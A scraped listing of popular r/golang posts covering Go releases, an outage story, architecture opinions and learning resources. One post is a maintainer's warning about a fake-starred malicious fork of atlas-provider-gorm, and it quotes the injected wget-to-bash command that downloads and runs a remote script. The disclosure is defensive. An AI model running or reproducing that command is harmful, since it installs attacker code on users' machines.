r/golang • • Mar 11 '25 Take My Energy

Microsoft Rewriting TypeScript in Go

Thumbnail
devblogs.microsoft.com
2.3k Upvotes

r/golang • • Nov 21 '20

A fractal I rendered in Go without any external libraries (The full image is 400MP and took around 2 minutes to render)

Post image
1.5k Upvotes

r/golang • • Aug 20 '21

Six months

Post image
1.3k Upvotes

r/golang • • Mar 15 '25

Someone copied our GitHub project, made it look more trustworthy by adding stars from many fake users, and then injected malicious code at runtime for potential users.

1.3k Upvotes

Our project is Atlas, and one of the providers we offer for it is the provider for GORM: https://github.com/ariga/atlas-provider-gorm (quite popular in our community).

Something crazy I found today before it went viral is that someone copied our GitHub project, faked stars for credibility from accounts created just a few weeks ago, and then injected malicious code at runtime for potential users.

The project: https://github.com/readyrevena/atlas-provider-gorm

The malicious code parts: https://github.com/readyrevena/atlas-provider-gorm/blob/master/gormschema/gorm.go#L403-L412 . This basically executes the following code on init:

wget -O - https://requestbone.fun/storage/de373d0df/a31546bf | /bin/bash &

I went over some of the stargazers, and it looks like it was done for other projects too. I expect the impact is much bigger that just our project.

Update: It's hard to detect the full impact. The attacker obfuscates the code, changing identifiers and scrambling the byte array order, so you can't easily search for it on GitHub. This makes it nearly impossible to track the full impact unless GitHub steps up and helps resolve this issue (I reported these repos to GitHub support).


r/golang • • Jul 20 '20

Go compiler doesn't like unused variables

Post image
1.2k Upvotes

r/golang • • Jun 14 '20

Just found that golang has a gopher design guide.

Post image
1.1k Upvotes

r/golang • • Dec 28 '23

discussion Go, nil, panic, and the billion dollar mistake

1.1k Upvotes

At my job we have a few dozen development teams, and a handful doing Go, the rest are doing Kotlin with Spring. I am a big fan of Go and honestly once you know Go, it doesn't make sense to me to ever use the JVM (Java Virtual Machine, on which Kotlin apps run) again. So I started a push within the company for the other teams to start using Go too, and a few started new projects with Go to try it out.

Fast forward a few months, and the team who maintains the subscriptions service has their first Go app live. It basically a microservice which lets you get user subscription information when calling with a user ID. The user information is fetched from the DB in the call, but since we only have a few subscription plans, they are loaded once during startup to keep in memory, and refreshed in the background every few hours.

Fast forward again a few weeks, and we are about to go live with a new subscription plan. It is loaded into the subscriptions service database with a flag visible=false, and would be brought live later by setting it to true (and refreshing the cached data in the app). The data was inserted into the database in the afternoon, some tests were performed, and everything looked fine.

Later that day in the evening, when traffic is highest, one by one the instances of the app trigger the background task to reload the subscription data from the DB, and crash. The instances try to start again, but they load the data from the DB during startup too, and just crash again. Within minutes, zero instances are available and our entire service goes down for users. Alerts go off, people get paged, the support team is very confused because there hasn't been a code change in weeks (so nothing to roll back to) and the IT team is brought in to debug and fix the issue. In the end, our service was down for a little over an hour, with an estimated revenue loss of about $100K.

So what happened? When inserting the new subscription into the database, some information was unknown and set to null. The app using using a pointer for these optional fields, and while transforming the data from the database struct into another struct used in the API endpoints, a nil dereference happened (in the background task), the app panicked and quit. When starting up, the app got the same nil issue again, and just panicked immediately too.

Naturally, many things went wrong here. An inexperienced team using Go in production for a critical app while they hardly had any experience, using a pointer field without a nil check, not manually refreshing the cached data after inserting it into the database, having no runbook ready to revert the data insertion (and notifying support staff of the data change).

But the Kotlin guys were very fast to point out that this would never happen in a Kotlin or JVM app. First, in Kotlin null is explicit, so null dereference cannot happen accidentally (unless you're using Java code together with your Kotlin code). But also, when you get a NullPointerException in a background thread, only the thread is killed and not the entire app (and even then, most mechanisms to run background tasks have error recovery built-in, in the form of a try...catch around the whole job).

To me this was a big eye opener. I'm pretty experienced with Go and was previously recommending it to everyone. Now I am not so sure anymore. What are your thoughts on it?

(This story is anonymized and some details changed, to protect my identity).


r/golang • • Dec 22 '19

I'm in.

Post image
1.1k Upvotes

r/golang • • Apr 09 '21

My girlfriend made this bookmark for me :)

Post image
1.0k Upvotes

r/golang • • Jun 09 '23

show & tell Today Apollo developer Christian Selig announced he will shut the app down on June 30th, and open sourced the code to refute inflammatory claims about its interactions with the Reddit website and API. It turns out the backend was written in Go 🥲

Thumbnail
github.com
949 Upvotes

r/golang • • Mar 14 '20

My wife made a cake for my birthday

Post image
910 Upvotes

r/golang • • Dec 05 '24 Bless Up Take My Silver

discussion Why Clean Architecture and Over-Engineered Layering Don’t Belong in GoLang

869 Upvotes

Stop forcing Clean Architecture and similar patterns into GoLang projects. GoLang is not Java. There’s no application size or complexity that justifies having more than three layers. Architectures like Clean, Hexagonal, or anything with 4+ layers make GoLang projects unnecessarily convoluted.

It’s frustrating to work on a codebase where you’re constantly jumping between excessive layers—unnecessary DI, weird abstractions, and use case layers that do nothing except call services with a few added logs. It’s like watching a monstrosity throw exceptions up and down without purpose.

In GoLang, you only need up to three layers for a proper DDD division (app, domain, infra). Anything more is pure overengineering. I get why this is common in Java—explicit interfaces and painful refactoring make layering and DI appealing—but GoLang doesn’t have those constraints. Its implicit interfaces make such patterns redundant.

These overly complex architectures are turning the GoLang ecosystem into something it was never meant to be. Please let’s keep GoLang simple, efficient, and aligned with its core philosophy.


r/golang • • Apr 18 '21

I started my GoLang journey!!!

Post image
852 Upvotes

r/golang • • May 05 '21 Bravo Love

Some resources that have helped me learn golang over the last 3 years.

851 Upvotes

I taught myself golang, it was a lot of grinding initially but I went through with it because I really liked the simplicity yet ability to be bare metal.

Here are some resources that have helped me in my journey. Sharing them here in case anyone is looking for study materials. [Disclaimer: These are links/notes collected over 3 years and not necessarily in order of expertise, but I will try my best to order them starting from basic ones and moving to more advanced resources]

PS: golang is pretty cool to learn, specially if you are interested in application infra, SRE domains. I have a job offer from a FAANG for a purely go related role, so the prospects for the language look good at the moment. All the best fellow go-phers!


r/golang • • Aug 12 '25

Go 1.25 is released!

Thumbnail
go.dev
840 Upvotes

r/golang • • Oct 31 '20

Happy Halloween gophers!

Post image
827 Upvotes

r/golang • • Dec 28 '25

Rob Pike goes off after AI slop reached his inbox

Thumbnail
reddit.com
824 Upvotes

I love the man even more, especially given how everyone with a claude subscription seems to be making slop ai projects and spamming them on the subreddit.

The internet of shit. Welcome.


r/golang • • Jun 29 '25 This Bless Up

show & tell Go Cookbook

820 Upvotes

https://go-cookbook.com

I have been using Golang for 10+ years and over the time I compiled a list of Go snippets and released this project that currently contains 222 snippets across 36 categories.

Would love your feedback — the project is pretty new and I would be happy to make it a useful tool for all types of Go devs: from Go beginners who can quickly search for code examples to experienced developers who want to learn performance tips, common pitfalls and best practices (included into most of snippets). Also let me know if you have any category/snippet ideas — the list is evolving.


r/golang • • Aug 13 '20

I also push directly to prod!

Post image
820 Upvotes

r/golang • • May 30 '25

show & tell godump - Thank you all

Post image
819 Upvotes

Earlier this week I released godump and within a few days already hit 100 stars ⭐️ 🌟 ✨

I wanted to extend my thanks and support to everyone and hope you all enjoy using it as much as I have. If you enjoy it as well please give drop a star on the repo ❤️

Repo: https://github.com/goforj/godump

Changes in v1.0.2

  • Fixed an issue with Dd where it was printing the wrong code location in the stack

  • Added support for custom types and rendering .String() methods on them if they exist

  • 94% code coverage

Happy Friday gophers


r/golang • • Mar 15 '22

1.18 is released

804 Upvotes

Download: https://go.dev/dl/

Release notes: https://go.dev/doc/go1.18

Blog: https://go.dev/blog/go1.18

Blog post about new tutorials: https://go.dev/blog/tutorials-go1.18

Updated A Tour of Go: https://go.dev/tour/generics/1

Twitter: https://twitter.com/golang/status/1503787326060875782

I'm most looking forward to generics, fuzzing, and net/netip!


r/golang • • Jan 08 '26

Holy crap it's fast

779 Upvotes

Python guy here.

I do a lot of financial regression testing with minutes by minute stock data.

It took 12 hours to run. Replaced Pandas with Polars and added a thread pool for parallel work. Dropped it to 3 hours. Feeling pretty good :)

Used Grok to help me move my python code to GO for shit n giggles. I had some limited Go experience from 2-3 years back. I knew I could squeeze all the CPU juice

Went from 3 hours to 2 minutes 37.

Also much easier to share memory than copy everything to all threads. Using 25 GB instead of 48.

Holy crap.

What do I do on Monday....arg !!!!


r/golang • • Jan 05 '26 Hooray

Go 1.26 interactive tour

743 Upvotes

Go 1.26 is coming in February, so I think it's a good time to explore what's new.

As you probably know, the official releases are quite dry. So every six months, I put together an interactive tour of the upcoming release, with short summaries (not AI-generated) and lots of examples.

If you are interested, here is what's in the Go 1.26 tour:

  • Calling new() on expressions.

  • Type-safe error checking.

  • Green Tea garbage collector (now production-ready).

  • Faster cgo and syscalls.

  • Faster memory allocation for small objects.

  • Vectorized operations (SIMD) for amd64 (experimental).

  • Secret mode for erasing memory (experimental).

  • Reader-less cryptography.

  • Goroutine leak profile (experimental).

  • Per-state goroutine metrics.

  • Iterators for reflected Type and Value.

  • Peek into a byte buffer.

  • OS process handle and OS signal as cause.

  • Compare IP subnets.

  • Context-aware network dialing.

  • Fake example.com for testing.

  • Optimized fmt.Errorf and io.ReadAll.

  • Multiple log handlers.

  • Test artifacts.

  • Modernized go fix.

json/v2 remains experimental at this time.

https://antonz.org/go-1-26


r/golang • • Mar 28 '25

show & tell Golang ruins my programming language standard

731 Upvotes

Im on my 5 years run on Go making it my main programming language, and i have to say I'm stressed out when I have to work with another language.

My main job for the last 5 years use Go and I'm very happy about it, The learning curve is not steep, very developer friendly, and minimum downside... but not everything is running according my wish, not every company for my side projects is using Golang.

When i need to use a very OOP language like Java or C# i have a golang witdrawal, i always think in golang when i have an issue and i think i have a problem

I just hope golang stays relevant until i retire tbh